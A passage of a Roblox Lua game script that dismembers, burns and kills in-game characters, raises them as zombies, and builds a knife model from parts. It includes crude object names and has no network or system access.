end end) local coru = coroutine.wrap(function() wait(1) thing:Destroy() end) coru() end) reeee() wait() end end function killz(playa,hitz,kneef,explode,pool,head,charred,override) local soundy = false local heyy = hitz if hitz == "Right Arm" then local Limb = playa:FindFirstChild("Right Arm") local ters = playa:FindFirstChild('Torso') if Limb and ters then if ters:FindFirstChild('Right Shoulder') then ters["Right Shoulder"]:Destroy() end for i,v in pairs(Limb:GetChildren()) do if v:IsA('Weld') or v:IsA('Motor6D') or v:IsA('Rotate') then v:Destroy() end end Limb.CFrame = ters.CFrame * CFrame.new(1.5, 0, 0) local Joint = Instance.new("Rotate") Joint.Name = "RightShoulder" Joint.Part0 = ters Joint.Part1 = Limb Joint.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.C1 = CFrame.new(-0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.Parent = ters if charred and zombiemode == false then Limb.BrickColor = BrickColor.new('Black') local fire = Instance.new('Fire',Limb) fire.Heat = 5 fire.Size = 5 game:GetService('Debris'):AddItem(fire,2) local coru=coroutine.wrap(function() wait(2) for i,v in pairs(Limb:GetChildren()) do if v:IsA('ParticleEmitter') then v:Destroy() end end end) coru() end local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = playa local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb if kneef then local coru = coroutine.wrap(function() local uno = Instance.new('Part',workspace) local dos = Instance.new('Part',workspace) uno.CFrame = playa:FindFirstChild(hitz).CFrame dos.CFrame = kneef["big ass knife"].CFrame local weld = Instance.new('Weld',kneef["big ass knife"]) weld.Part0 = playa:FindFirstChild(hitz) weld.Part1 = kneef["big ass knife"] weld.C0 = uno.CFrame:toObjectSpace(dos.CFrame) uno:Destroy() dos:Destroy() playa:FindFirstChild(hitz).Anchored = false for i, v in pairs(kneef:GetChildren()) do if v:IsA('BasePart') then v.Anchored = false end end if zombiemode == false or override then wait() end if kneef:FindFirstChild('Grab') and kneef.Grab:FindFirstChildOfClass('BodyVelocity') then kneef.Grab:FindFirstChildOfClass('BodyVelocity'):Destroy() end local bleedpart = Instance.new("Part", kneef) bleedpart.CanCollide = false bleedpart.Size = Vector3.new(0.2, 0.2, 0.2) bleedpart.CFrame = kneef["big ass knife"].CFrame bleedpart.Color = Color3.new(115/225, 115/225, 115/225) bleedpart.Transparency = 1 local bleedpartweld = Instance.new("Weld", kneef["big ass knife"]) bleedpartweld.Part0 = kneef["big ass knife"] bleedpartweld.Part1 = bleedpart bleedpartweld.C0 = CFrame.new(0,0,0)*CFrame.Angles(math.rad(90),0,0) local coru = coroutine.wrap(function() bleed(bleedpart) end) coru() game:GetService('Debris'):AddItem(bleedpart,2) end) coru() end end elseif hitz == "Left Arm" then local Limb = playa:FindFirstChild("Left Arm") local ters = playa:FindFirstChild('Torso') if Limb and ters then if ters:FindFirstChild('Left Shoulder') then ters["Left Shoulder"]:Destroy() end for i,v in pairs(Limb:GetChildren()) do if v:IsA('Weld') or v:IsA('Motor6D') or v:IsA('Rotate') then v:Destroy() end end Limb.CFrame = ters.CFrame * CFrame.new(-1.5, 0, 0) local Joint = Instance.new("Rotate") Joint.Name = "LeftShoulder" Joint.Part0 = ters Joint.Part1 = Limb Joint.C0 = CFrame.new(-1.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.C1 = CFrame.new(0, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.Parent = ters if charred and zombiemode == false then Limb.BrickColor = BrickColor.new('Black') local fire = Instance.new('Fire',Limb) fire.Heat = 5 fire.Size = 5 game:GetService('Debris'):AddItem(fire,2) local coru=coroutine.wrap(function() wait(2) for i,v in pairs(Limb:GetChildren()) do if v:IsA('ParticleEmitter') then v:Destroy() end end end) coru() end local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.CanCollide = true B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = playa local W = Instance.new("Weld") W.Part0 = ters W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb if kneef then local coru = coroutine.wrap(function() local uno = Instance.new('Part',workspace) local dos = Instance.new('Part',workspace) uno.CFrame = playa:FindFirstChild(hitz).CFrame dos.CFrame = kneef["big ass knife"].CFrame local weld = Instance.new('Weld',kneef["big ass knife"]) weld.Part0 = playa:FindFirstChild(hitz) weld.Part1 = kneef["big ass knife"] weld.C0 = uno.CFrame:toObjectSpace(dos.CFrame) uno:Destroy() dos:Destroy() playa:FindFirstChild(hitz).Anchored = false for i, v in pairs(kneef:GetChildren()) do if v:IsA('BasePart') then v.Anchored = false end end if zombiemode == false or override then wait() end if kneef:FindFirstChild('Grab') and kneef.Grab:FindFirstChildOfClass('BodyVelocity') then kneef.Grab:FindFirstChildOfClass('BodyVelocity'):Destroy() end local bleedpart = Instance.new("Part", kneef) bleedpart.CanCollide = false bleedpart.Size = Vector3.new(0.2, 0.2, 0.2) bleedpart.CFrame = kneef["big ass knife"].CFrame bleedpart.Color = Color3.new(115/225, 115/225, 115/225) bleedpart.Transparency = 1 local bleedpartweld = Instance.new("Weld", kneef["big ass knife"]) bleedpartweld.Part0 = kneef["big ass knife"] bleedpartweld.Part1 = bleedpart bleedpartweld.C0 = CFrame.new(0,0,0)*CFrame.Angles(math.rad(90),0,0) local coru = coroutine.wrap(function() bleed(bleedpart) end) coru() game:GetService('Debris'):AddItem(bleedpart,2) end) coru() end end elseif hitz == "Right Leg" then local Limb = playa:FindFirstChild("Right Leg") local ters = playa:FindFirstChild('Torso') if Limb and ters then if ters:FindFirstChild('Right Hip') then ters["Right Hip"]:Destroy() end for i,v in pairs(Limb:GetChildren()) do if v:IsA('Weld') or v:IsA('Motor6D') or v:IsA('Rotate') then v:Destroy() end end Limb.CFrame = ters.CFrame * CFrame.new(0.5, -2, 0) local Joint = Instance.new("Rotate") Joint.Name = "Right Hip" Joint.Part0 = ters Joint.Part1 = Limb Joint.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.Parent = ters if charred and zombiemode == false then Limb.BrickColor = BrickColor.new('Black') local fire = Instance.new('Fire',Limb) fire.Heat = 5 fire.Size = 5 game:GetService('Debris'):AddItem(fire,2) local coru=coroutine.wrap(function() wait(2) for i,v in pairs(Limb:GetChildren()) do if v:IsA('ParticleEmitter') then v:Destroy() end end end) coru() end local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = playa local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb if kneef then local coru = coroutine.wrap(function() local uno = Instance.new('Part',workspace) local dos = Instance.new('Part',workspace) uno.CFrame = playa:FindFirstChild(hitz).CFrame dos.CFrame = kneef["big ass knife"].CFrame local weld = Instance.new('Weld',kneef["big ass knife"]) weld.Part0 = playa:FindFirstChild(hitz) weld.Part1 = kneef["big ass knife"] weld.C0 = uno.CFrame:toObjectSpace(dos.CFrame) uno:Destroy() dos:Destroy() playa:FindFirstChild(hitz).Anchored = false for i, v in pairs(kneef:GetChildren()) do if v:IsA('BasePart') then v.Anchored = false end end if zombiemode == false or override then wait() end if kneef:FindFirstChild('Grab') and kneef.Grab:FindFirstChildOfClass('BodyVelocity') then kneef.Grab:FindFirstChildOfClass('BodyVelocity'):Destroy() end local bleedpart = Instance.new("Part", kneef) bleedpart.CanCollide = false bleedpart.Size = Vector3.new(0.2, 0.2, 0.2) bleedpart.CFrame = kneef["big ass knife"].CFrame bleedpart.Color = Color3.new(115/225, 115/225, 115/225) bleedpart.Transparency = 1 local bleedpartweld = Instance.new("Weld", kneef["big ass knife"]) bleedpartweld.Part0 = kneef["big ass knife"] bleedpartweld.Part1 = bleedpart bleedpartweld.C0 = CFrame.new(0,0,0)*CFrame.Angles(math.rad(90),0,0) local coru = coroutine.wrap(function() bleed(bleedpart) end) coru() game:GetService('Debris'):AddItem(bleedpart,2) end) coru() end if playa then table.insert(rekt,playa) end end elseif hitz == "Left Leg" then local Limb = playa:FindFirstChild("Left Leg") local ters = playa:FindFirstChild('Torso') if Limb and ters then if ters:FindFirstChild('Left Hip') then ters["Left Hip"]:Destroy() end for i,v in pairs(Limb:GetChildren()) do if v:IsA('Weld') or v:IsA('Motor6D') or v:IsA('Rotate') then v:Destroy() end end Limb.CFrame = ters.CFrame * CFrame.new(0.5, -2, 0) Limb.CFrame = ters.CFrame * CFrame.new(-0.5, -2, 0) local Joint = Instance.new("Rotate") Joint.Name = "LeftHip" Joint.Part0 = ters Joint.Part1 = Limb Joint.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.Parent = ters if charred and zombiemode == false then Limb.BrickColor = BrickColor.new('Black') local fire = Instance.new('Fire',Limb) fire.Heat = 5 fire.Size = 5 game:GetService('Debris'):AddItem(fire,2) local coru=coroutine.wrap(function() wait(2) for i,v in pairs(Limb:GetChildren()) do if v:IsA('ParticleEmitter') then v:Destroy() end end end) coru() end local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = playa local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb Limb.CanCollide = false if kneef then local coru = coroutine.wrap(function() local uno = Instance.new('Part',workspace) local dos = Instance.new('Part',workspace) uno.CFrame = playa:FindFirstChild(hitz).CFrame dos.CFrame = kneef["big ass knife"].CFrame local weld = Instance.new('Weld',kneef["big ass knife"]) weld.Part0 = playa:FindFirstChild(hitz) weld.Part1 = kneef["big ass knife"] weld.C0 = uno.CFrame:toObjectSpace(dos.CFrame) uno:Destroy() dos:Destroy() playa:FindFirstChild(hitz).Anchored = false for i, v in pairs(kneef:GetChildren()) do if v:IsA('BasePart') then v.Anchored = false end end if zombiemode == false or override then wait() end if kneef:FindFirstChild('Grab') and kneef.Grab:FindFirstChildOfClass('BodyVelocity') then kneef.Grab:FindFirstChildOfClass('BodyVelocity'):Destroy() end local bleedpart = Instance.new("Part", kneef) bleedpart.CanCollide = false bleedpart.Size = Vector3.new(0.2, 0.2, 0.2) bleedpart.CFrame = kneef["big ass knife"].CFrame bleedpart.Color = Color3.new(115/225, 115/225, 115/225) bleedpart.Transparency = 1 local bleedpartweld = Instance.new("Weld", kneef["big ass knife"]) bleedpartweld.Part0 = kneef["big ass knife"] bleedpartweld.Part1 = bleedpart bleedpartweld.C0 = CFrame.new(0,0,0)*CFrame.Angles(math.rad(90),0,0) local coru = coroutine.wrap(function() bleed(bleedpart) end) coru() game:GetService('Debris'):AddItem(bleedpart,2) end) coru() end if playa then table.insert(rekt,playa) end end elseif playa then if finishnum ~= 1 then local coru=coroutine.wrap(function() player.Character.Head.Psycho.Playing = true wait(3) player.Character.Head.Psycho.Playing = false end) coru() end local playa2 = playa playa.Archivable = true local playa = playa:Clone() playa.Archivable = false playa2:Destroy() playa.Parent = workspace local Gibs = game.Workspace local Torso = playa.Torso local Head = playa:FindFirstChild("Head") local function Scan(ch) local e for e = 1,#ch do Scan(ch[e]:GetChildren()) if (ch[e].ClassName == "Weld" and ch[e]:FindFirstChild('Part1') and ch[e].Part1.Name ~= 'Projectile') or ch[e].ClassName == "Motor6D" or ch[e].ClassName == "Rotate" or (ch[e]:IsA('BasePart') and ch[e].Size == Vector3.new(1, 1, 1)) then ch[e]:remove() end end end Scan(playa:GetChildren()) if playa:FindFirstChild('HumanoidRootPart') and (zombiemode == false or override) then playa:FindFirstChild('HumanoidRootPart'):Destroy() end local hum2 = playa:FindFirstChildOfClass("Humanoid") if zombiemode == true and override == false then soundy = true end if string.sub(hum2.Parent.Name,string.len(hum2.Parent.Name)-8,string.len(hum2.Parent.Name)) ~= "'s Zombie" then override = true end if hum2 ~= nil then hum2.Name = "Humanoid2" hum2.Health = 0 if zombiemode == false or override == true then table.insert(rekt,hum2.Parent) else local gyro = Instance.new('BodyGyro',Torso) hum2.PlatformStand = false for i,v in pairs(hum2.Parent.Torso:GetChildren()) do if v:IsA('BodyGyro') then v:Destroy() end end if playa:FindFirstChild('HumanoidRootPart') then hum2.Parent.HumanoidRootPart.CFrame = hum2.Parent.Torso.CFrame local weldcrucial = Instance.new('Weld',hum2.Parent.HumanoidRootPart) weldcrucial.Part0 = hum2.Parent.HumanoidRootPart weldcrucial.Part1 = hum2.Parent.Torso end end end local ch = playa:GetChildren() local i for i = 1,#ch do if ch[i].Name == "THandle1" or ch[i].Name == "THandle2" then ch[i]:remove() end end if Head then local Neck = Instance.new("Weld") Neck.Name = "Neck" Neck.Part0 = Torso Neck.Part1 = Head if pool then local part = Instance.new('Part',Torso) part.Position = Vector3.new(0,10,0) part.Size = Vector3.new(0.2,0.2,0.2) part.Transparency = 1 part.CanCollide = false local we = Instance.new('Weld',Torso) we.Part0 = Torso we.Part1 = part we.C0 = CFrame.new(0,0,0)*CFrame.Angles(math.rad(90),0,0) local coru=coroutine.wrap(function() bleed(part) end) coru() end if head == false or head == nil then Neck.C0 = CFrame.new(0, 1.5, 0) else Neck.C0 = CFrame.new(0, 1.5, 0.2)*CFrame.Angles(0.5, 0.25, 0.25) local bleedpart = Instance.new("Part", Torso) bleedpart.Size = Vector3.new(0.2, 0.2, 0.2) bleedpart.Color = Color3.new(115/225, 115/225, 115/225) bleedpart.CanCollide = false bleedpart.Position = Head.Position + Vector3.new(0, 1, 0) bleedpart.Transparency = 1 local bleedpartweld = Instance.new("Weld", Torso) bleedpartweld.Part0 = Torso bleedpartweld.Part1 = bleedpart bleedpartweld.C0 = CFrame.Angles(-1, 0, -0.35) * CFrame.new(0, 1, 0.8) local coru = coroutine.wrap(function() bleed(bleedpart) end) coru() end Neck.C1 = CFrame.new() Neck.Parent = Torso end local Limb = playa:FindFirstChild("Right Arm") if Limb then Limb.CFrame = Torso.CFrame * CFrame.new(1.5, 0, 0) local Joint = Instance.new("Rotate") Joint.Name = "RightShoulder" Joint.Part0 = Torso Joint.Part1 = Limb Joint.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.C1 = CFrame.new(-0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.Parent = Torso local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = playa local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end local Limb = playa:FindFirstChild("Left Arm") if Limb then Limb.CFrame = Torso.CFrame * CFrame.new(-1.5, 0, 0) local Joint = Instance.new("Rotate") Joint.Name = "LeftShoulder" Joint.Part0 = Torso Joint.Part1 = Limb Joint.C0 = CFrame.new(-1.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.C1 = CFrame.new(0, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.Parent = Torso local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = playa local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end local Limb = playa:FindFirstChild("Right Leg") if Limb then Limb.CanCollide = false Limb.CFrame = Torso.CFrame * CFrame.new(0.5, -2, 0) local Joint = Instance.new("Rotate") Joint.Name = "RightHip" Joint.Part0 = Torso Joint.Part1 = Limb Joint.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.Parent = Torso local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CanCollide = true B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = playa local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end local Limb = playa:FindFirstChild("Left Leg") if Limb then Limb.CanCollide = false Limb.CFrame = Torso.CFrame * CFrame.new(-0.5, -2, 0) local Joint = Instance.new("Rotate") Joint.Name = "LeftHip" Joint.Part0 = Torso Joint.Part1 = Limb Joint.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.Parent = Torso local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 if zombiemode == false or override then B.CanCollide = true end B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = playa local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end --[[ local Bar = Instance.new("Part") Bar.TopSurface = 0 Bar.BottomSurface = 0 Bar.formFactor = "Symmetric" Bar.Size = Vector3.new(1, 1, 1) Bar.Transparency = 1 Bar.CFrame = Torso.CFrame * CFrame.new(0, 0.5, 0) Bar.Parent = playa local Weld = Instance.new("Weld") Weld.Part0 = Torso Weld.Part1 = Bar Weld.C0 = CFrame.new(0, 0.5, 0) Weld.Parent = Torso --]] playa.Parent = Gibs if kneef and explode == nil then local coru = coroutine.wrap(function() if playa:FindFirstChild(hitz) then local uno = Instance.new('Part',workspace) local dos = Instance.new('Part',workspace) uno.CFrame = playa:FindFirstChild(hitz).CFrame dos.CFrame = kneef["big ass knife"].CFrame local weld = Instance.new('Weld',kneef["big ass knife"]) weld.Part0 = playa:FindFirstChild(hitz) weld.Part1 = kneef["big ass knife"] weld.C0 = uno.CFrame:toObjectSpace(dos.CFrame) uno:Destroy() dos:Destroy() playa:FindFirstChild(hitz).Anchored = false for i, v in pairs(kneef:GetChildren()) do if v:IsA('BasePart') then v.Anchored = false end end if explode == nil or explode == false then local bleedpart = Instance.new("Part", kneef) bleedpart.Size = Vector3.new(0.2, 0.2, 0.2) bleedpart.Color = Color3.new(115/225, 115/225, 115/225) bleedpart.CanCollide = false bleedpart.Position = Head.Position + Vector3.new(0, 1, 0) bleedpart.Transparency = 1 local bleedpartweld = Instance.new("Weld", kneef["big ass knife"]) bleedpartweld.Part0 = kneef["big ass knife"] bleedpartweld.Part1 = bleedpart bleedpartweld.C0 = CFrame.new(0,0,0)*CFrame.Angles(math.rad(90),0,0) local coru = coroutine.wrap(function() bleed(bleedpart) end) coru() end end if zombiemode == false or override then wait() end if kneef:FindFirstChild('Grab') and kneef.Grab:FindFirstChildOfClass('BodyVelocity') then kneef.Grab:FindFirstChildOfClass('BodyVelocity'):Destroy() end end) coru() end if explode then local movevector = CFrame.new(explode.Position,Torso.Position).lookVector local repulse = Instance.new('BodyForce',Torso) repulse.Force = movevector*10000 + Vector3.new(0,5000,0) game.Debris:AddItem(repulse,0.05) end if charred and zombiemode == false then for i,v in pairs(playa:GetChildren()) do if v:IsA('BasePart') then v.BrickColor = BrickColor.Black() local fire = Instance.new('Fire',v) fire.Size = 5 fire.Heat = 5 elseif v:IsA('Accessory') then for a,c in pairs(v:GetChildren()) do if c:IsA('BasePart') then c.BrickColor = BrickColor.Black() local fire = Instance.new('Fire',v) fire.Size = 5 fire.Heat = 5 for o,p in pairs(c:GetChildren()) do if p:IsA("SpecialMesh") then p.TextureId = "" end end end end end end end if soundy then local sound = Instance.new('Sound',Head) sound.SoundId = 'rbxassetid://903640857' sound.Volume = 1 sound:Play() sound.Ended:connect(function() sound:Destroy() local ambient = Instance.new('Sound',Head) ambient.Volume = 0.25 ambient.Looped = true ambient.SoundId = 'rbxassetid://903641031' ambient:Play() end) end if override then if (string.len(hum2.Parent.Name) < 9 or string.sub(hum2.Parent.Name,string.len(hum2.Parent.Name)-8,string.len(hum2.Parent.Name)) ~= "'s Zombie") and zombiemode == true and #zombies < 10 then local coru = coroutine.wrap(function() wait(4.5) hum2.Parent.Name = hum2.Parent.Name.."'s Zombie" hum2.HipHeight = 0.2 wait(0.5) killz(hum2.Parent,"Head",nil,nil,false,false,false,false) end) coru() else game:GetService('Debris'):AddItem(playa, 12) end else hum2.Health = 0 table.insert(zombies,playa) local attack = Instance.new('Sound',Head) attack.SoundId = 'rbxassetid://903641424' attack.Volume = 2 for i,v in pairs(playa:GetChildren()) do if v:IsA('BasePart') and v:FindFirstChildOfClass('TouchTransmitter') == nil then v.Touched:connect(function(hit) if hit.Parent and hit.Parent:FindFirstChildOfClass('Humanoid') then local found = false if hit.Parent == player.Character then found = true end for a,c in pairs(zombies) do if c == hit.Parent then found = true end end if found == false and hit.Parent:FindFirstChildOfClass('Humanoid').Health > 0 then attack:Play() if hit.Parent:FindFirstChildOfClass('Humanoid').Health - 2 <= 0 then hit.Parent:FindFirstChildOfClass('Humanoid').Health = 0 wait() killz(hit.Parent,"Head") else hit.Parent:FindFirstChildOfClass('Humanoid'):TakeDamage(2) end end end end) end end local coru = coroutine.wrap(function() wait(2) for i,v in pairs(playa:GetChildren()) do if v:IsA('BasePart') then for a,c in pairs(v:GetChildren()) do if c:IsA('Fire') or c:IsA('ParticleEmitter') then c:Destroy() end end elseif v:IsA('Accessory') then for a,c in pairs(v:GetChildren()) do if c:IsA('BasePart') then for b,d in pairs(c:GetChildren()) do if d:IsA('Fire') or d:IsA('ParticleEmitter') then d:Destroy() end end end end end end end) coru() end end end mouse.KeyDown:connect(function(key) if key == "t" and mouse.Target then local hum = mouse.Target.Parent:FindFirstChildOfClass('Humanoid') if hum == nil then hum = mouse.Target.Parent.Parent:FindFirstChildOfClass('Humanoid') end if curpoint == nil then if hum and hum.Parent:FindFirstChild('Head') then curpart = hum.Parent.Head else curpart = nil curpoint = mouse.Hit.p end if player.PlayerGui:FindFirstChild('Notification') then player.PlayerGui.Notification:Destroy() end notify("ZOMBIE TARGET SET",false) else curpart = nil curpoint = nil if player.PlayerGui:FindFirstChild('Notification') then player.PlayerGui.Notification:Destroy() end notify("ZOMBIE TARGET REMOVED",false) end elseif key == "y" then for o,p in pairs(zombies) do local coru = coroutine.wrap(function() if p:FindFirstChild('Torso') then killz(p,"Head",nil,nil,false,false,false,true) else table.remove(zombies,o) end end) coru() wait() end for i,v in pairs(zombies) do table.remove(zombies,i) end if player.PlayerGui:FindFirstChild('Notification') then player.PlayerGui.Notification:Destroy() end notify("ZOMBIES TERMINATED",false) end end) function nub() local me = player.Character local point = me.HumanoidRootPart local playergui = player.PlayerGui local rightshoulderz = me.Torso["Right Shoulder"]:Clone() local leftshoulderz = me.Torso["Left Shoulder"]:Clone() local torsojoint = me.HumanoidRootPart["RootJoint"]:Clone() local lefthipz = me.Torso["Left Hip"]:Clone() local righthipz = me.Torso["Right Hip"]:Clone() local mode = "kill" local lerpz = false local active = false local acting = false local hit = false local canClick = true local stabbing = false local grabbing = false local finishing = false local kyssing = false local canbackgroundmusic = true local cancolorfilter = true local spinboolean = false local grabbed = nil local doing = false local rightshoulder = nil local leftshoulder = nil local headweld = nil local usable = true finishnum = 1 function notify(msg,forever) local doit = coroutine.wrap(function() local gui = Instance.new('ScreenGui',playergui) gui.Name = "Notification" local frame = Instance.new('Frame',gui) frame.Position = UDim2.new(0,0,0,0) frame.Size = UDim2.new(1,0,0.2,0) frame.BackgroundTransparency = 1 local txt = Instance.new('TextLabel',frame) txt.TextColor3 = Color3.new(255,255,255) txt.TextStrokeColor3 = Color3.new(0, 0, 0) txt.TextStrokeTransparency = 0 txt.BackgroundTransparency = 1 txt.Text = "" txt.Size = UDim2.new(1,0,0.3,0) txt.Position = UDim2.new(0,0,0.4,0) txt.TextScaled = true txt.Font = "Code" txt.TextXAlignment = "Center" local tap = Instance.new("Sound") tap.Parent = gui tap.SoundId = "rbxassetid://147982968" tap.TimePosition = 0.1 local str = msg local len = string.len(str) for i=1,len do txt.Text = string.sub(str,1,i) pitche = math.random(20, 40)/10 tap.PlaybackSpeed = pitche tap:Play() wait(0.01) end if forever == false then wait(1) while txt.TextTransparency < 1 do txt.TextTransparency = txt.TextTransparency + 0.1 txt.TextStrokeTransparency = txt.TextStrokeTransparency + 0.1 wait(0.001) end gui:Destroy() end end) doit() end wait(0.5) notify("PRESS [Z] TO EQUIP KNIFE || Created by mustardfoot and Tollonis",true) local laugh = Instance.new('Sound',me.Head) laugh.SoundId = 'rbxassetid://378827985' laugh.Name = "Psycho" laugh.Volume = 5 -- 1 - bitch ass knife local obj1 = Instance.new("Model") obj1.Name = "bitch ass knife" obj1.Parent = game.Workspace -- 2 - Grab local obj2 = Instance.new("Part") obj2.CFrame = CFrame.new(Vector3.new(20.4525032, 6.14501333, -134.399979)) * CFrame.Angles(-3.1415927410126, 0, -3.1415927410126) obj2.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj2.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj2.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj2.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj2.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj2.Material = Enum.Material.Concrete obj2.Size = Vector3.new(1, 0.25, 0.25) obj2.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj2.Anchored = true obj2.BrickColor = BrickColor.new("Black") obj2.Friction = 0.30000001192093 obj2.Shape = Enum.PartType.Cylinder obj2.Name = "Grab" obj2.Parent = obj1 -- 3 - handletopcap local obj3 = Instance.new("Part") obj3.CFrame = CFrame.new(Vector3.new(19.9725456, 6.14502859, -134.399933)) * CFrame.Angles(0, 1.5707963705063, 0) obj3.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj3.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj3.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj3.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj3.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj3.Material = Enum.Material.Concrete obj3.Size = Vector3.new(0.349999994, 0.349999994, 0.349999994) obj3.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj3.Anchored = true obj3.BrickColor = BrickColor.new("Black") obj3.Friction = 0.30000001192093 obj3.Shape = Enum.PartType.Ball obj3.Name = "handletopcap" obj3.Parent = obj1 -- 4 - handlebottomcap local obj4 = Instance.new("Part") obj4.CFrame = CFrame.new(Vector3.new(20.9725285, 6.14502859, -134.399918)) * CFrame.Angles(0, 1.5707963705063, 0) obj4.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj4.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj4.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj4.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj4.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj4.Material = Enum.Material.Concrete obj4.Size = Vector3.new(0.25, 0.25, 0.25) obj4.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj4.Anchored = true obj4.BrickColor = BrickColor.new("Black") obj4.Friction = 0.30000001192093 obj4.Shape = Enum.PartType.Ball obj4.Name = "handlebottomcap" obj4.Parent = obj1 -- 5 - handleguardmid local obj5 = Instance.new("Part") obj5.CFrame = CFrame.new(Vector3.new(19.9474983, 6.14502859, -134.399918)) * CFrame.Angles(0, 1.5707963705063, 0) obj5.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj5.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj5.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj5.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj5.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj5.Material = Enum.Material.Concrete obj5.Size = Vector3.new(0.349999994, 0.349999994, 0.100000001) obj5.BackSurface = Enum.SurfaceType.SmoothNoOutlines obj5.Anchored = true obj5.BrickColor = BrickColor.new("Black") obj5.Friction = 0.30000001192093 obj5.Shape = Enum.PartType.Block obj5.Name = "handleguardmid" obj5.Parent = obj1 -- 6 - handleguardcap1 local obj6 = Instance.new("Part") obj6.CFrame = CFrame.new(Vector3.new(19.9474983, 6.32502794, -134.399918)) * CFrame.Angles(-3.1415927410126, 0, -3.1415927410126) obj6.LeftSurface = Enum.SurfaceType.SmoothNoOutlines obj6.TopSurface = Enum.SurfaceType.SmoothNoOutlines obj6.RightSurface = Enum.SurfaceType.SmoothNoOutlines obj6.FrontSurface = Enum.SurfaceType.SmoothNoOutlines obj6.BottomSurface = Enum.SurfaceType.SmoothNoOutlines obj6.Material = Enum.Material.Concrete obj6.Size = Vector3.new(0.100000001, 0.349999994, 0.349999994) obj6.BackSurface = 